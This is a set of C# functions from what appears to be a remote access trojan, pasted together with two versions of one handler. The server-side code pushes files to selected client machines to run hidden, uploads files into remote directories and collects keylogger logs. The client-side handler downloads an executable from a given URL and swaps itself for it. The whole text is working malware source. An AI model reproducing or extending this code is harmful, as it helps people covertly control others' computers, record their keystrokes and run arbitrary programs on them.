"Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } new Core.Packets.ServerPackets.DoClientUpdate(id, string.Empty, fileName, block, srcFile.MaxBlocks, currentBlock).Execute(c); } } }).Start(); } } } } }
private void ctxtLocalFile_Click(object sender, EventArgs e) { if (lstClients.SelectedItems.Count != 0) { using (var frm = new FrmUploadAndExecute(lstClients.SelectedItems.Count)) { if ((frm.ShowDialog() == DialogResult.OK) && File.Exists(UploadAndExecute.FilePath)) { new Thread(() => { bool error = false; foreach (Client c in GetSelectedClients()) { if (c == null) continue; if (error) continue; FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } int id = FileHelper.GetNewTransferId(); CommandHandler.HandleSetStatus(c, new Core.Packets.ClientPackets.SetStatus("Uploading file...")); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Core.Packets.ServerPackets.DoUploadAndExecute(id, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); } else { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); error = true; break; } } } }).Start(); } } } }
private void ctxtUpload_Click(object sender, EventArgs e) { using (var ofd = new OpenFileDialog()) { ofd.Title = "Select files to upload"; ofd.Filter = "All files (*.*)|*.*"; ofd.Multiselect = true; if (ofd.ShowDialog() == DialogResult.OK) { var remoteDir = _currentDir; foreach (var filePath in ofd.FileNames) { if (!File.Exists(filePath)) continue; string path = filePath; new Thread(() => { int id = FileHelper.GetNewTransferId(); if (string.IsNullOrEmpty(path)) return; AddTransfer(id, "Uploading...", Path.GetFileName(path)); int index = GetTransferIndex(id); if (index < 0) return; FileSplit srcFile = new FileSplit(path); if (srcFile.MaxBlocks < 0) { UpdateTransferStatus(index, "Error reading file", 0); return; } string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); if (string.IsNullOrEmpty(remotePath)) return; _limitThreads.WaitOne(); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) { _limitThreads.Release(); return; // abort upload when from is closed or client disconnected } if (CanceledUploads.ContainsKey(id)) { UpdateTransferStatus(index, "Canceled", 0); _limitThreads.Release(); return; } decimal progress = Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1); byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Core.Packets.ServerPackets.DoUploadFile(id, remotePath, block, srcFile.MaxBlocks, currentBlock).Execute(_connectClient); } else { UpdateTransferStatus(index, "Error reading file", 0); _limitThreads.Release(); return; } } _limitThreads.Release(); if (remoteDir == _currentDir) RefreshDirectory(); UpdateTransferStatus(index, "Completed", 1); }).Start(); } } } }
public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet) { if (client.Value == null || client.Value.FrmKl == null) return; if (packet.FileCount == 0) { client.Value.FrmKl.SetGetLogsEnabled(true); return; } if (string.IsNullOrEmpty(packet.Filename)) return; string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); if (!Directory.Exists(downloadPath)) Directory.CreateDirectory(downloadPath); downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if ((packet.CurrentBlock + 1) == packet.MaxBlocks) { try { File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath)); } catch { } if (packet.Index == packet.FileCount) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); if (iFiles.Length == 0) return; foreach (FileInfo file in iFiles) { if (client.Value == null || client.Value.FrmKl == null) break; client.Value.FrmKl.AddLogToListview(file.Name); } if (client.Value == null || client.Value.FrmKl == null) return; client.Value.FrmKl.SetGetLogsEnabled(true); } } }
private void lstDirectory_DragDrop(object sender, DragEventArgs e) { if (e.Data.GetDataPresent(DataFormats.FileDrop)) { string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); var remoteDir = _currentDir; foreach (string filePath in files) { if (!File.Exists(filePath)) continue; string path = filePath; new Thread(() => { int id = FileHelper.GetNewTransferId(); if (string.IsNullOrEmpty(path)) return; AddTransfer(id, "Uploading...", Path.GetFileName(path)); int index = GetTransferIndex(id); if (index < 0) return; FileSplit srcFile = new FileSplit(path); if (srcFile.MaxBlocks < 0) { UpdateTransferStatus(index, "Error reading file", 0); return; } string remotePath = Path.Combine(remoteDir, Path.GetFileName(path)); if (string.IsNullOrEmpty(remotePath)) return; _limitThreads.WaitOne(); for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) { if (_connectClient.Value == null || _connectClient.Value.FrmFm == null) { _limitThreads.Release(); return; // abort upload when from is closed or client disconnected } if (CanceledUploads.ContainsKey(id)) { UpdateTransferStatus(index, "Canceled", 0); _limitThreads.Release(); return; } decimal progress = Math.Round((decimal)((double)(currentBlock + 1) / (double)srcFile.MaxBlocks * 100.0), 2); UpdateTransferStatus(index, string.Format("Uploading...({0}%)", progress), -1); byte[] block; if (srcFile.ReadBlock(currentBlock, out block)) { new Core.Packets.ServerPackets.DoUploadFile(id, remotePath, block, srcFile.MaxBlocks, currentBlock).Execute(_connectClient); } else { UpdateTransferStatus(index, "Error reading file", 0); _limitThreads.Release(); return; } } _limitThreads.Release(); if (remoteDir == _currentDir) RefreshDirectory(); UpdateTransferStatus(index, "Completed", 1); }).Start(); } } }
public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadURL)) { string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName); try { if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z') throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) { new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute( client); return; } if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished { new Packets.ClientPackets.SetStatus("Updating...").Execute(client); SystemCore.UpdateClient(client, filePath); } } catch (Exception ex) { NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); } return; } new Thread(() => { new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), FileHelper.GetRandomFilename(12, ".exe")); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.DownloadURL, tempFile); } } catch { new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Updating...").Execute(client); SystemCore.UpdateClient(client, tempFile); }).Start(); }
public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client) { // i dont like this updating... if anyone has a better idea feel free to edit it if (string.IsNullOrEmpty(command.DownloadURL)) { if (!_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(".exe")); string filePath = _renamedFiles[command.ID]; try { if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block)) throw new Exception("No executable file"); FileSplit destFile = new FileSplit(filePath); if (!destFile.AppendBlock(command.Block, command.CurrentBlock)) throw new Exception(destFile.LastError); if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished { if (_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Remove(command.ID); new Packets.ClientPackets.SetStatus("Updating...").Execute(client); ClientUpdater.Update(client, filePath); } } catch (Exception ex) { if (_renamedFiles.ContainsKey(command.ID)) _renamedFiles.Remove(command.ID); NativeMethods.DeleteFile(filePath); new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client); } return; } new Thread(() => { new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client); string tempFile = FileHelper.GetTempFilePath(".exe"); try { using (WebClient c = new WebClient()) { c.Proxy = null; c.DownloadFile(command.DownloadURL, tempFile); } } catch { new Packets.ClientPackets.SetStatus("Download failed!").Execute(client); return; } new Packets.ClientPackets.SetStatus("Updating...").Execute(client); ClientUpdater.Update(client, tempFile); }).Start(); }